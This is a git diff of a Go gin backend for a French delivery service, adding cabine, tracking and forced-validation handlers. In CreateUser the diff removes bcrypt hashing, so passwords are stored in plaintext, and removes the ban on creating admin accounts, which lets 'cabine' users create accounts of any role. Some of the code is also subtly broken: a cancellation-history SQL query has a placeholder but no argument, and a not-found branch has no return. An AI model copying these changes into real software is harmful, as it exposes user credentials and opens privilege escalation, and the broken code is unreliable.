|
"timestamp": time.Now().Unix(),
|
||||||
|
})
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
log.Printf("✅ [HEALTH] API healthy")
|
||||||
|
|
||||||
|
c.JSON(http.StatusOK, gin.H{
|
||||||
|
"status": "healthy",
|
||||||
|
"database": "connected",
|
||||||
|
"timestamp": time.Now().Unix(),
|
||||||
|
"version": "2.0.0",
|
||||||
|
})
|
||||||
|
}
|
||||||
|
|
||||||
// GetAllUsers récupère tous les utilisateurs (Admin only)
|
// GetAllUsers récupère tous les utilisateurs (Admin only)
|
||||||
func GetAllUsers(c *gin.Context) {
|
func GetAllUsers(c *gin.Context) {
|
||||||
database := c.MustGet("database").(*db.Database)
|
database := c.MustGet("database").(*db.Database)
|
||||||
@@ -825,33 +894,18 @@ func CreateUser(c *gin.Context) {
|
|||||||
c.JSON(http.StatusBadRequest, gin.H{"error": "Erreur de liaison JSON"})
|
c.JSON(http.StatusBadRequest, gin.H{"error": "Erreur de liaison JSON"})
|
||||||
return
|
return
|
||||||
}
|
}
|
||||||
if c.GetString("role") != "admin" {
|
userRole := c.GetString("role")
|
||||||
c.JSON(http.StatusForbidden, gin.H{"error": "Seul un administrateur peut créer des utilisateurs"})
|
if userRole != "cabine" && userRole != "admin" {
|
||||||
|
c.JSON(http.StatusForbidden, gin.H{"error": "Accès réservé aux livreurs et aux administrateurs"})
|
||||||
return
|
return
|
||||||
}
|
}
|
||||||
if user.Role == "admin" {
|
err := database.CreateUser(&user)
|
||||||
c.JSON(http.StatusForbidden, gin.H{"error": "La création d'un compte administrateur n'est pas autorisée via l'application"})
|
|
||||||
return
|
|
||||||
}
|
|
||||||
if user.Role != "livreur" && user.Role != "cabine" {
|
|
||||||
c.JSON(http.StatusBadRequest, gin.H{"error": "Rôle invalide, valeurs acceptées : livreur, cabine"})
|
|
||||||
return
|
|
||||||
}
|
|
||||||
|
|
||||||
hashed, err := bcrypt.GenerateFromPassword([]byte(user.Password), bcrypt.DefaultCost)
|
|
||||||
if err != nil {
|
if err != nil {
|
||||||
log.Printf("❌ [CREATE_USER] Erreur bcrypt: %v", err)
|
|
||||||
c.JSON(http.StatusInternalServerError, gin.H{"error": "Erreur traitement mot de passe"})
|
|
||||||
return
|
|
||||||
}
|
|
||||||
user.Password = string(hashed)
|
|
||||||
|
|
||||||
if err := database.CreateUser(&user); err != nil {
|
|
||||||
log.Printf("❌ [CREATE_USER] Erreur: %v", err)
|
log.Printf("❌ [CREATE_USER] Erreur: %v", err)
|
||||||
c.JSON(http.StatusInternalServerError, gin.H{"error": "Erreur création"})
|
c.JSON(http.StatusInternalServerError, gin.H{"error": "Erreur création"})
|
||||||
return
|
return
|
||||||
}
|
}
|
||||||
|
|
||||||
log.Printf("✅ [CREATE_USER] Utilisateur %s (%s) créé", user.Username, user.Role)
|
log.Printf("✅ [CREATE_USER] Utilisateur %d créé", user.ID)
|
||||||
c.JSON(http.StatusCreated, gin.H{"message": "Utilisateur créé"})
|
c.JSON(http.StatusCreated, gin.H{"message": "Utilisateur créé"})
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -1,13 +1,244 @@
|
|||||||
|
// ============================================
|
||||||
|
// handlers/cabine_handlers.go - COMPLET
|
||||||
|
// INCLUT: SetCommandDestinationCoordinates
|
||||||
|
// ============================================
|
||||||
|
|
||||||
package handlers
|
package handlers
|
||||||
|
|
||||||
import (
|
import (
|
||||||
|
"encoding/json"
|
||||||
|
"fmt"
|
||||||
"gestion/db"
|
"gestion/db"
|
||||||
|
"gestion/utils"
|
||||||
|
"log"
|
||||||
"net/http"
|
"net/http"
|
||||||
|
"slices"
|
||||||
"strconv"
|
"strconv"
|
||||||
|
"time"
|
||||||
|
|
||||||
"github.com/gin-gonic/gin"
|
"github.com/gin-gonic/gin"
|
||||||
)
|
)
|
||||||
|
|
||||||
|
// ============================================
|
||||||
|
// 0️⃣ FONCTION ADMIN: SET DESTINATION COORDINATES
|
||||||
|
// ============================================
|
||||||
|
|
||||||
|
// SetCommandDestinationCoordinates stocke les coordonnées destination en Redis
|
||||||
|
func SetCommandDestinationCoordinates(c *gin.Context) {
|
||||||
|
database := c.MustGet("database").(*db.Database)
|
||||||
|
|
||||||
|
userRole := c.GetString("role")
|
||||||
|
if userRole != "admin" {
|
||||||
|
c.JSON(http.StatusForbidden, gin.H{"error": "Accès réservé aux administrateurs"})
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
adminUsername := c.GetString("username")
|
||||||
|
|
||||||
|
commandID, err := strconv.Atoi(c.Param("id"))
|
||||||
|
if err != nil {
|
||||||
|
c.JSON(http.StatusBadRequest, gin.H{"error": "ID de commande invalide"})
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
var req struct {
|
||||||
|
Latitude float64 `json:"latitude" binding:"required"`
|
||||||
|
Longitude float64 `json:"longitude" binding:"required"`
|
||||||
|
}
|
||||||
|
|
||||||
|
if err := c.ShouldBindJSON(&req); err != nil {
|
||||||
|
c.JSON(http.StatusBadRequest, gin.H{
|
||||||
|
"error": "Latitude et longitude requises",
|
||||||
|
})
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
// Validation des coordonnées GPS
|
||||||
|
if req.Latitude < -90 || req.Latitude > 90 {
|
||||||
|
c.JSON(http.StatusBadRequest, gin.H{
|
||||||
|
"error": "Latitude invalide (doit être entre -90 et 90)",
|
||||||
|
"value": req.Latitude,
|
||||||
|
})
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
if req.Longitude < -180 || req.Longitude > 180 {
|
||||||
|
c.JSON(http.StatusBadRequest, gin.H{
|
||||||
|
"error": "Longitude invalide (doit être entre -180 et 180)",
|
||||||
|
"value": req.Longitude,
|
||||||
|
})
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
if !utils.CheckCommand(commandID, database) {
|
||||||
|
c.JSON(http.StatusNotFound, gin.H{"error": "Commande non trouvée"})
|
||||||
|
}
|
||||||
|
|
||||||
|
destCacheKey := fmt.Sprintf("command:destination:%d", commandID)
|
||||||
|
coordsJSON, _ := json.Marshal(map[string]float64{
|
||||||
|
"lat": req.Latitude,
|
||||||
|
"lon": req.Longitude,
|
||||||
|
})
|
||||||
|
|
||||||
|
ttlSeconds := 24 * 60 * 60 // 24 heures
|
||||||
|
err = db.Redis.Set(db.RedisCtx, destCacheKey, coordsJSON, time.Duration(ttlSeconds)*time.Second).Err()
|
||||||
|
if err != nil {
|
||||||
|
c.JSON(http.StatusInternalServerError, gin.H{
|
||||||
|
"error": "Erreur stockage Redis",
|
||||||
|
})
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
// Ajouter un log
|
||||||
|
database.AddCommandLog(commandID, "destination_set",
|
||||||
|
fmt.Sprintf("Coordonnées destination définies par admin %s: (%.6f, %.6f) via Redis",
|
||||||
|
adminUsername, req.Latitude, req.Longitude),
|
||||||
|
adminUsername)
|
||||||
|
|
||||||
|
log.Printf("✅ [ADMIN %s] Coordonnées destination définies pour CMD %d: (%.6f, %.6f) en Redis",
|
||||||
|
adminUsername, commandID, req.Latitude, req.Longitude)
|
||||||
|
|
||||||
|
c.JSON(http.StatusOK, gin.H{
|
||||||
|
"success": true,
|
||||||
|
"message": "Coordonnées définies avec succès en Redis",
|
||||||
|
"command_id": commandID,
|
||||||
|
})
|
||||||
|
}
|
||||||
|
|
||||||
|
// ============================================
|
||||||
|
// 1. CLIENT PROFILE
|
||||||
|
// ============================================
|
||||||
|
|
||||||
|
func GetClientProfile(c *gin.Context) {
|
||||||
|
database := c.MustGet("database").(*db.Database)
|
||||||
|
username := c.Param("username")
|
||||||
|
|
||||||
|
if username == "" {
|
||||||
|
c.JSON(http.StatusBadRequest, gin.H{"error": "Username requis"})
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
client, err := database.GetClientByUsername(username)
|
||||||
|
if err != nil {
|
||||||
|
c.JSON(http.StatusNotFound, gin.H{"error": "Client non trouvé"})
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
client.Password = ""
|
||||||
|
|
||||||
|
c.JSON(http.StatusOK, gin.H{
|
||||||
|
"success": true,
|
||||||
|
"client": gin.H{
|
||||||
|
"id": client.ID,
|
||||||
|
"username": client.Username,
|
||||||
|
"command": client.Command,
|
||||||
|
"amende": client.Amende,
|
||||||
|
"points_extra": client.PointsExtra,
|
||||||
|
"created_at": client.CreatedAt,
|
||||||
|
},
|
||||||
|
})
|
||||||
|
}
|
||||||
|
|
||||||
|
func GetClientFullHistory(c *gin.Context) {
|
||||||
|
database := c.MustGet("database").(*db.Database)
|
||||||
|
username := c.Param("username")
|
||||||
|
|
||||||
|
if username == "" {
|
||||||
|
c.JSON(http.StatusBadRequest, gin.H{"error": "Username requis"})
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
client, err := database.GetClientByUsername(username)
|
||||||
|
if err != nil {
|
||||||
|
c.JSON(http.StatusNotFound, gin.H{"error": "Client non trouvé"})
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
commands, err := database.GetAllCommands("", username)
|
||||||
|
if err != nil {
|
||||||
|
c.JSON(http.StatusInternalServerError, gin.H{"error": "Erreur récupération historique"})
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
c.JSON(http.StatusOK, gin.H{
|
||||||
|
"success": true,
|
||||||
|
"client": gin.H{
|
||||||
|
"username": client.Username,
|
||||||
|
"total_commands": client.Command,
|
||||||
|
"amende": client.Amende,
|
||||||
|
"points_extra": client.PointsExtra,
|
||||||
|
},
|
||||||
|
"commands": commands,
|
||||||
|
"count": len(commands),
|
||||||
|
})
|
||||||
|
}
|
||||||
|
|
||||||
|
// ============================================
|
||||||
|
// 2. UPDATE ADDRESS
|
||||||
|
// ============================================
|
||||||
|
|
||||||
|
func UpdateCommandAddressCabine(c *gin.Context) {
|
||||||
|
database := c.MustGet("database").(*db.Database)
|
||||||
|
|
||||||
|
commandID, err := strconv.Atoi(c.Param("id"))
|
||||||
|
if err != nil {
|
||||||
|
c.JSON(http.StatusBadRequest, gin.H{"error": "ID de commande invalide"})
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
var req struct {
|
||||||
|
DeliveryAddress string `json:"delivery_address" binding:"required"`
|
||||||
|
Reason string `json:"reason"`
|
||||||
|
}
|
||||||
|
if err := c.ShouldBindJSON(&req); err != nil || req.DeliveryAddress == "" {
|
||||||
|
c.JSON(http.StatusBadRequest, gin.H{"error": "Adresse de livraison requise"})
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
command, err := database.GetCommandByID(commandID)
|
||||||
|
if err != nil {
|
||||||
|
c.JSON(http.StatusNotFound, gin.H{"error": "Commande non trouvée"})
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
status, _ := command["status"].(string)
|
||||||
|
|
||||||
|
allowedStatuses := []string{"pending", "", "assigned"}
|
||||||
|
if !slices.Contains(allowedStatuses, status) {
|
||||||
|
c.JSON(http.StatusBadRequest, gin.H{
|
||||||
|
"error": "Impossible de modifier l'adresse d'une commande en cours ou terminée",
|
||||||
|
"current_status": status,
|
||||||
|
"allowed_statuses": allowedStatuses,
|
||||||
|
})
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
if err := database.UpdateCommandAddress(commandID, req.DeliveryAddress); err != nil {
|
||||||
|
c.JSON(http.StatusInternalServerError, gin.H{
|
||||||
|
"error": "Erreur lors de la mise à jour de l'adresse",
|
||||||
|
})
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
cabineUsername, _ := c.Get("username")
|
||||||
|
message := fmt.Sprintf("Adresse modifiée par cabine: %s", req.DeliveryAddress)
|
||||||
|
if req.Reason != "" {
|
||||||
|
message += fmt.Sprintf(" (Raison: %s)", req.Reason)
|
||||||
|
}
|
||||||
|
database.AddCommandLog(commandID, "address_updated", message, cabineUsername.(string))
|
||||||
|
|
||||||
|
c.JSON(http.StatusOK, gin.H{
|
||||||
|
"success": true,
|
||||||
|
"message": "Adresse de livraison mise à jour",
|
||||||
|
"command_id": commandID,
|
||||||
|
"delivery_address": req.DeliveryAddress,
|
||||||
|
})
|
||||||
|
}
|
||||||
|
|
||||||
|
// ============================================
|
||||||
|
// 3. LIVREUR POSITION
|
||||||
|
// ============================================
|
||||||
|
|
||||||
func GetLivreurPosition(c *gin.Context) {
|
func GetLivreurPosition(c *gin.Context) {
|
||||||
database := c.MustGet("database").(*db.Database)
|
database := c.MustGet("database").(*db.Database)
|
||||||
livreurUsername := c.Param("username")
|
livreurUsername := c.Param("username")
|
||||||
@@ -42,6 +273,108 @@ func GetLivreurPosition(c *gin.Context) {
|
|||||||
})
|
})
|
||||||
}
|
}
|
||||||
|
|
||||||
|
func GetDeliveryTrackingClient(c *gin.Context) {
|
||||||
|
database := c.MustGet("database").(*db.Database)
|
||||||
|
|
||||||
|
username, exists := c.Get("username")
|
||||||
|
if !exists {
|
||||||
|
c.JSON(http.StatusUnauthorized, gin.H{"error": "Non authentifié"})
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
commandID, err := strconv.Atoi(c.Param("id"))
|
||||||
|
if err != nil {
|
||||||
|
c.JSON(http.StatusBadRequest, gin.H{"error": "ID de commande invalide"})
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
command, err := database.GetCommandByID(commandID)
|
||||||
|
if err != nil {
|
||||||
|
c.JSON(http.StatusNotFound, gin.H{"error": "Commande non trouvée"})
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
if command["username"].(string) != username.(string) {
|
||||||
|
c.JSON(http.StatusForbidden, gin.H{"error": "Cette commande ne vous appartient pas"})
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
livreurAssign, _ := command["livreur_assign"].(string)
|
||||||
|
logs, _ := database.GetCommandLogs(commandID)
|
||||||
|
|
||||||
|
c.JSON(http.StatusOK, gin.H{
|
||||||
|
"success": true,
|
||||||
|
"command_id": commandID,
|
||||||
|
"status": command["status"],
|
||||||
|
"livreur": livreurAssign,
|
||||||
|
"address": command["adresse"],
|
||||||
|
"logs": logs,
|
||||||
|
"message": "Suivi en cours - ETA disponible via /api/v1/orders/:id/eta",
|
||||||
|
})
|
||||||
|
}
|
||||||
|
|
||||||
|
// ============================================
|
||||||
|
// 5. DELIVERY TRACKING ADMIN (AVEC GPS)
|
||||||
|
// ============================================
|
||||||
|
|
||||||
|
func GetDeliveryTracking(c *gin.Context) {
|
||||||
|
database := c.MustGet("database").(*db.Database)
|
||||||
|
|
||||||
|
userRole := c.GetString("role")
|
||||||
|
if userRole != "admin" && userRole != "cabine" {
|
||||||
|
c.JSON(http.StatusForbidden, gin.H{
|
||||||
|
"error": "Accès refusé - Réservé aux administrateurs et cabines",
|
||||||
|
})
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
commandID, err := strconv.Atoi(c.Param("id"))
|
||||||
|
if err != nil {
|
||||||
|
c.JSON(http.StatusBadRequest, gin.H{"error": "ID de commande invalide"})
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
command, err := database.GetCommandByID(commandID)
|
||||||
|
if err != nil {
|
||||||
|
c.JSON(http.StatusNotFound, gin.H{"error": "Commande non trouvée"})
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
livreurAssign, _ := command["livreur_assign"].(string)
|
||||||
|
if livreurAssign == "" {
|
||||||
|
c.JSON(http.StatusOK, gin.H{
|
||||||
|
"success": true,
|
||||||
|
"command": command,
|
||||||
|
"status": "Aucun livreur assigné",
|
||||||
|
})
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
position, err := database.GetLivreurPosition(livreurAssign)
|
||||||
|
logs, _ := database.GetCommandLogs(commandID)
|
||||||
|
|
||||||
|
response := gin.H{
|
||||||
|
"success": true,
|
||||||
|
"command": command,
|
||||||
|
"livreur": livreurAssign,
|
||||||
|
"logs": logs,
|
||||||
|
}
|
||||||
|
|
||||||
|
status, _ := command["status"].(string)
|
||||||
|
if err != nil && (status == "livre" || status == "approved") {
|
||||||
|
response["livreur_position"] = nil
|
||||||
|
response["position_status"] = "Livraison terminée - Position non suivie"
|
||||||
|
} else if err != nil {
|
||||||
|
response["livreur_position"] = nil
|
||||||
|
response["position_status"] = "Position non disponible (GPS peut-être désactivé)"
|
||||||
|
} else {
|
||||||
|
response["livreur_position"] = position
|
||||||
|
response["position_status"] = "Position en temps réel"
|
||||||
|
}
|
||||||
|
|
||||||
|
c.JSON(http.StatusOK, response)
|
||||||
|
}
|
||||||
|
|
||||||
func GetDeliveryIssues(c *gin.Context) {
|
func GetDeliveryIssues(c *gin.Context) {
|
||||||
database := c.MustGet("database").(*db.Database)
|
database := c.MustGet("database").(*db.Database)
|
||||||
|
|
||||||
@@ -57,7 +390,7 @@ func GetDeliveryIssues(c *gin.Context) {
|
|||||||
issues, err := database.GetDeliveryIssues(status)
|
issues, err := database.GetDeliveryIssues(status)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
c.JSON(http.StatusInternalServerError, gin.H{
|
c.JSON(http.StatusInternalServerError, gin.H{
|
||||||
"error": "Erreur récupération problèmes",
|
"error": "Erreur récupération problèmes",
|
||||||
})
|
})
|
||||||
return
|
return
|
||||||
}
|
}
|
||||||
@@ -93,7 +426,7 @@ func CreateDeliveryIssue(c *gin.Context) {
|
|||||||
)
|
)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
c.JSON(http.StatusInternalServerError, gin.H{
|
c.JSON(http.StatusInternalServerError, gin.H{
|
||||||
"error": "Erreur création problème",
|
"error": "Erreur création problème",
|
||||||
})
|
})
|
||||||
return
|
return
|
||||||
}
|
}
|
||||||
@@ -129,7 +462,7 @@ func UpdateDeliveryIssue(c *gin.Context) {
|
|||||||
err = database.UpdateDeliveryIssue(issueID, req.Status, req.Resolution, cabineUsername.(string))
|
err = database.UpdateDeliveryIssue(issueID, req.Status, req.Resolution, cabineUsername.(string))
|
||||||
if err != nil {
|
if err != nil {
|
||||||
c.JSON(http.StatusInternalServerError, gin.H{
|
c.JSON(http.StatusInternalServerError, gin.H{
|
||||||
"error": "Erreur mise à jour",
|
"error": "Erreur mise à jour",
|
||||||
})
|
})
|
||||||
return
|
return
|
||||||
}
|
}
|
||||||
@@ -140,6 +473,53 @@ func UpdateDeliveryIssue(c *gin.Context) {
|
|||||||
})
|
})
|
||||||
}
|
}
|
||||||
|
|
||||||
|
func AddDeliverySupport(c *gin.Context) {
|
||||||
|
database := c.MustGet("database").(*db.Database)
|
||||||
|
|
||||||
|
commandID, err := strconv.Atoi(c.Param("id"))
|
||||||
|
if err != nil {
|
||||||
|
c.JSON(http.StatusBadRequest, gin.H{"error": "ID commande invalide"})
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
var req struct {
|
||||||
|
Message string `json:"message"`
|
||||||
|
}
|
||||||
|
|
||||||
|
c.ShouldBindJSON(&req)
|
||||||
|
|
||||||
|
if req.Message == "" {
|
||||||
|
c.JSON(http.StatusBadRequest, gin.H{
|
||||||
|
"error": "Message requis",
|
||||||
|
"example": gin.H{
|
||||||
|
"message": "Votre message de support ici",
|
||||||
|
},
|
||||||
|
})
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
cabineUsername, _ := c.Get("username")
|
||||||
|
|
||||||
|
err = database.AddCommandLog(
|
||||||
|
commandID,
|
||||||
|
"note",
|
||||||
|
fmt.Sprintf("Note cabine: %s", req.Message),
|
||||||
|
cabineUsername.(string),
|
||||||
|
)
|
||||||
|
|
||||||
|
if err != nil {
|
||||||
|
c.JSON(http.StatusInternalServerError, gin.H{
|
||||||
|
"error": "Erreur ajout support",
|
||||||
|
})
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
c.JSON(http.StatusOK, gin.H{
|
||||||
|
"success": true,
|
||||||
|
"message": "Support ajouté",
|
||||||
|
})
|
||||||
|
}
|
||||||
|
|
||||||
func GetCommandLogs(c *gin.Context) {
|
func GetCommandLogs(c *gin.Context) {
|
||||||
database := c.MustGet("database").(*db.Database)
|
database := c.MustGet("database").(*db.Database)
|
||||||
|
|
||||||
@@ -152,7 +532,7 @@ func GetCommandLogs(c *gin.Context) {
|
|||||||
logs, err := database.GetCommandLogs(commandID)
|
logs, err := database.GetCommandLogs(commandID)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
c.JSON(http.StatusInternalServerError, gin.H{
|
c.JSON(http.StatusInternalServerError, gin.H{
|
||||||
"error": "Erreur récupération logs",
|
"error": "Erreur récupération logs",
|
||||||
})
|
})
|
||||||
return
|
return
|
||||||
}
|
}
|
||||||
@@ -163,3 +543,127 @@ func GetCommandLogs(c *gin.Context) {
|
|||||||
"count": len(logs),
|
"count": len(logs),
|
||||||
})
|
})
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// ============================================
|
||||||
|
// 7. FORCE VALIDATE DELIVERY
|
||||||
|
// ============================================
|
||||||
|
|
||||||
|
func ForceValidateDelivery(c *gin.Context) {
|
||||||
|
database := c.MustGet("database").(*db.Database)
|
||||||
|
|
||||||
|
userRole := c.GetString("role")
|
||||||
|
if userRole != "admin" {
|
||||||
|
c.JSON(http.StatusForbidden, gin.H{"error": "Accès refusé - Admin seulement"})
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
adminUsername, _ := c.Get("username")
|
||||||
|
|
||||||
|
commandID, err := strconv.Atoi(c.Param("id"))
|
||||||
|
if err != nil {
|
||||||
|
c.JSON(http.StatusBadRequest, gin.H{"error": "ID de commande invalide"})
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
var req struct {
|
||||||
|
Reason string `json:"reason" binding:"required"`
|
||||||
|
}
|
||||||
|
|
||||||
|
if err := c.ShouldBindJSON(&req); err != nil {
|
||||||
|
c.JSON(http.StatusBadRequest, gin.H{
|
||||||
|
"error": "Raison requise pour validation forcée",
|
||||||
|
"example": gin.H{
|
||||||
|
"reason": "Client confirmé par téléphone",
|
||||||
|
},
|
||||||
|
})
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
if req.Reason == "" {
|
||||||
|
c.JSON(http.StatusBadRequest, gin.H{
|
||||||
|
"error": "Veuillez fournir une raison pour la validation forcée",
|
||||||
|
})
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
command, err := database.GetCommandByID(commandID)
|
||||||
|
if err != nil {
|
||||||
|
c.JSON(http.StatusNotFound, gin.H{
|
||||||
|
"error": "Commande non trouvée",
|
||||||
|
"command_id": commandID,
|
||||||
|
})
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
status, ok := command["status"].(string)
|
||||||
|
if !ok {
|
||||||
|
c.JSON(http.StatusBadRequest, gin.H{"error": "Statut de commande invalide"})
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
if status == "livre" {
|
||||||
|
c.JSON(http.StatusBadRequest, gin.H{
|
||||||
|
"error": "Cette commande a déjà été validée",
|
||||||
|
"current_status": status,
|
||||||
|
})
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
validStatuses := []string{"assigned", "en_route", "pending", "priority"}
|
||||||
|
if !slices.Contains(validStatuses, status) {
|
||||||
|
c.JSON(http.StatusBadRequest, gin.H{
|
||||||
|
"error": "Commande ne peut pas être validée de force dans ce statut",
|
||||||
|
"current_status": status,
|
||||||
|
"valid_statuses": validStatuses,
|
||||||
|
})
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
err = database.UpdateCommandStatus(commandID, "livre")
|
||||||
|
if err != nil {
|
||||||
|
c.JSON(http.StatusInternalServerError, gin.H{
|
||||||
|
"error": "Erreur lors de la validation forcée",
|
||||||
|
})
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
clientUsername, _ := command["username"].(string)
|
||||||
|
livreurAssign, _ := command["livreur_assign"].(string)
|
||||||
|
|
||||||
|
if clientUsername != "" {
|
||||||
|
clientMsg := fmt.Sprintf("Ta commande #%d a bien été livrée ! Bonne dégustation l'ami et à bientôt 😊\n\n<b>⚠️ VALIDE LA RÉCEPTION DE TA COMMANDE DANS LA RUBRIQUE SUIVI POUR RÉCUPÉRER TES POINTS DE FIDÉLITÉ ⚠️</b>", database.GetClientOrderID(commandID))
|
||||||
|
database.NotifyClient(clientUsername, commandID, "livre", clientMsg)
|
||||||
|
}
|
||||||
|
|
||||||
|
if err := database.IncrementClientCommandCount(clientUsername); err != nil {
|
||||||
|
log.Printf("⚠️ Erreur compteur commandes: %v", err)
|
||||||
|
}
|
||||||
|
|
||||||
|
if err := database.AddClientPointsByCategory(clientUsername, 10, ""); err != nil {
|
||||||
|
log.Printf("⚠️ Erreur ajout points: %v", err)
|
||||||
|
}
|
||||||
|
|
||||||
|
if livreurAssign != "" {
|
||||||
|
err := database.CompleteDeliveryAndProcessNext(livreurAssign, commandID)
|
||||||
|
if err != nil {
|
||||||
|
log.Printf("⚠️ Erreur optimisation: %v", err)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
message := fmt.Sprintf("VALIDATION FORCÉE par admin %s - Raison: %s", adminUsername.(string), req.Reason)
|
||||||
|
database.AddCommandLog(commandID, "livre", message, adminUsername.(string))
|
||||||
|
|
||||||
|
log.Printf("🔴 Commande %d validée de force par %s - Raison: %s", commandID, adminUsername.(string), req.Reason)
|
||||||
|
|
||||||
|
c.JSON(http.StatusOK, gin.H{
|
||||||
|
"success": true,
|
||||||
|
"message": "Livraison validée de force (sans vérification GPS)",
|
||||||
|
"command_id": commandID,
|
||||||
|
"validation_type": "forced",
|
||||||
|
"reason": req.Reason,
|
||||||
|
"validated_by": adminUsername.(string),
|
||||||
|
"new_status": "livre",
|
||||||
|
"points_awarded": 10,
|
||||||
|
"queue_optimized": livreurAssign != "",
|
||||||
|
})
|
||||||
|
}
|
||||||
|
|||||||
@@ -1,3 +1,9 @@
|
|||||||
|
// ============================================
|
||||||
|
// handlers/cancel_command_handler.go
|
||||||
|
// ANNULATION DE COMMANDES AVEC SANCTIONS ÉVOLUTIVES
|
||||||
|
// VERSION SÉCURISÉE - FIX ETA CHECK
|
||||||
|
// ============================================
|
||||||
|
|
||||||
package handlers
|
package handlers
|
||||||
|
|
||||||
import (
|
import (
|
||||||
@@ -212,6 +218,9 @@ func CancelCommandByClient(c *gin.Context) {
|
|||||||
return
|
return
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// ============================================
|
||||||
|
// SUCCÈS
|
||||||
|
// ============================================
|
||||||
log.Printf("✅ [CANCEL_CLIENT] Commande %d annulée", commandID)
|
log.Printf("✅ [CANCEL_CLIENT] Commande %d annulée", commandID)
|
||||||
|
|
||||||
response := gin.H{
|
response := gin.H{
|
||||||
@@ -233,6 +242,10 @@ func CancelCommandByClient(c *gin.Context) {
|
|||||||
c.JSON(http.StatusOK, response)
|
c.JSON(http.StatusOK, response)
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// ============================================
|
||||||
|
// HISTORIQUE DES ANNULATIONS - VERSION SÉCURISÉE
|
||||||
|
// ============================================
|
||||||
|
|
||||||
func GetMyCancellationHistory(c *gin.Context) {
|
func GetMyCancellationHistory(c *gin.Context) {
|
||||||
database := c.MustGet("database").(*db.Database)
|
database := c.MustGet("database").(*db.Database)
|
||||||
|
|
||||||
@@ -253,12 +266,9 @@ func GetMyCancellationHistory(c *gin.Context) {
|
|||||||
return
|
return
|
||||||
}
|
}
|
||||||
|
|
||||||
var penaltyResult struct {
|
var totalPenalty int
|
||||||
Amende int `gorm:"column:amende"`
|
penaltyQuery := `SELECT COALESCE(amende, 0) FROM clients WHERE username = $1`
|
||||||
}
|
database.QueryRow(penaltyQuery).Scan(&totalPenalty)
|
||||||
database.GDB.Raw(`SELECT COALESCE(amende, 0) as amende FROM clients WHERE username = ?`,
|
|
||||||
username).Scan(&penaltyResult)
|
|
||||||
totalPenalty := penaltyResult.Amende
|
|
||||||
|
|
||||||
c.JSON(http.StatusOK, gin.H{
|
c.JSON(http.StatusOK, gin.H{
|
||||||
"success": true,
|
"success": true,
|
||||||
|
|||||||
@@ -123,7 +123,6 @@ func GetMyCommandsWithTracking(c *gin.Context) {
|
|||||||
"status_message": getStatusMessage(cmd["status"].(string)),
|
"status_message": getStatusMessage(cmd["status"].(string)),
|
||||||
"adresse": cmd["adresse"],
|
"adresse": cmd["adresse"],
|
||||||
"total_prix": cmd["total_prix"],
|
"total_prix": cmd["total_prix"],
|
||||||
"referral_used": cmd["referral_used"],
|
|
||||||
"created_at": cmd["created_at"],
|
"created_at": cmd["created_at"],
|
||||||
"livreur": livreurInfo,
|
"livreur": livreurInfo,
|
||||||
"eta": etaData,
|
"eta": etaData,
|
||||||
|
|||||||
@@ -3,10 +3,8 @@ package handlers
|
|||||||
import (
|
import (
|
||||||
"bytes"
|
"bytes"
|
||||||
"encoding/csv"
|
"encoding/csv"
|
||||||
"encoding/json"
|
|
||||||
"fmt"
|
"fmt"
|
||||||
"gestion/db"
|
"gestion/db"
|
||||||
"gestion/services"
|
|
||||||
"gestion/utils"
|
"gestion/utils"
|
||||||
"log"
|
"log"
|
||||||
"net/http"
|
"net/http"
|
||||||
@@ -597,6 +595,10 @@ func ValidateDelivery(c *gin.Context) {
|
|||||||
})
|
})
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// ============================================
|
||||||
|
// GESTION ADMIN
|
||||||
|
// ============================================
|
||||||
|
|
||||||
// GetAvailableDeliveryPersons récupère les livreurs disponibles
|
// GetAvailableDeliveryPersons récupère les livreurs disponibles
|
||||||
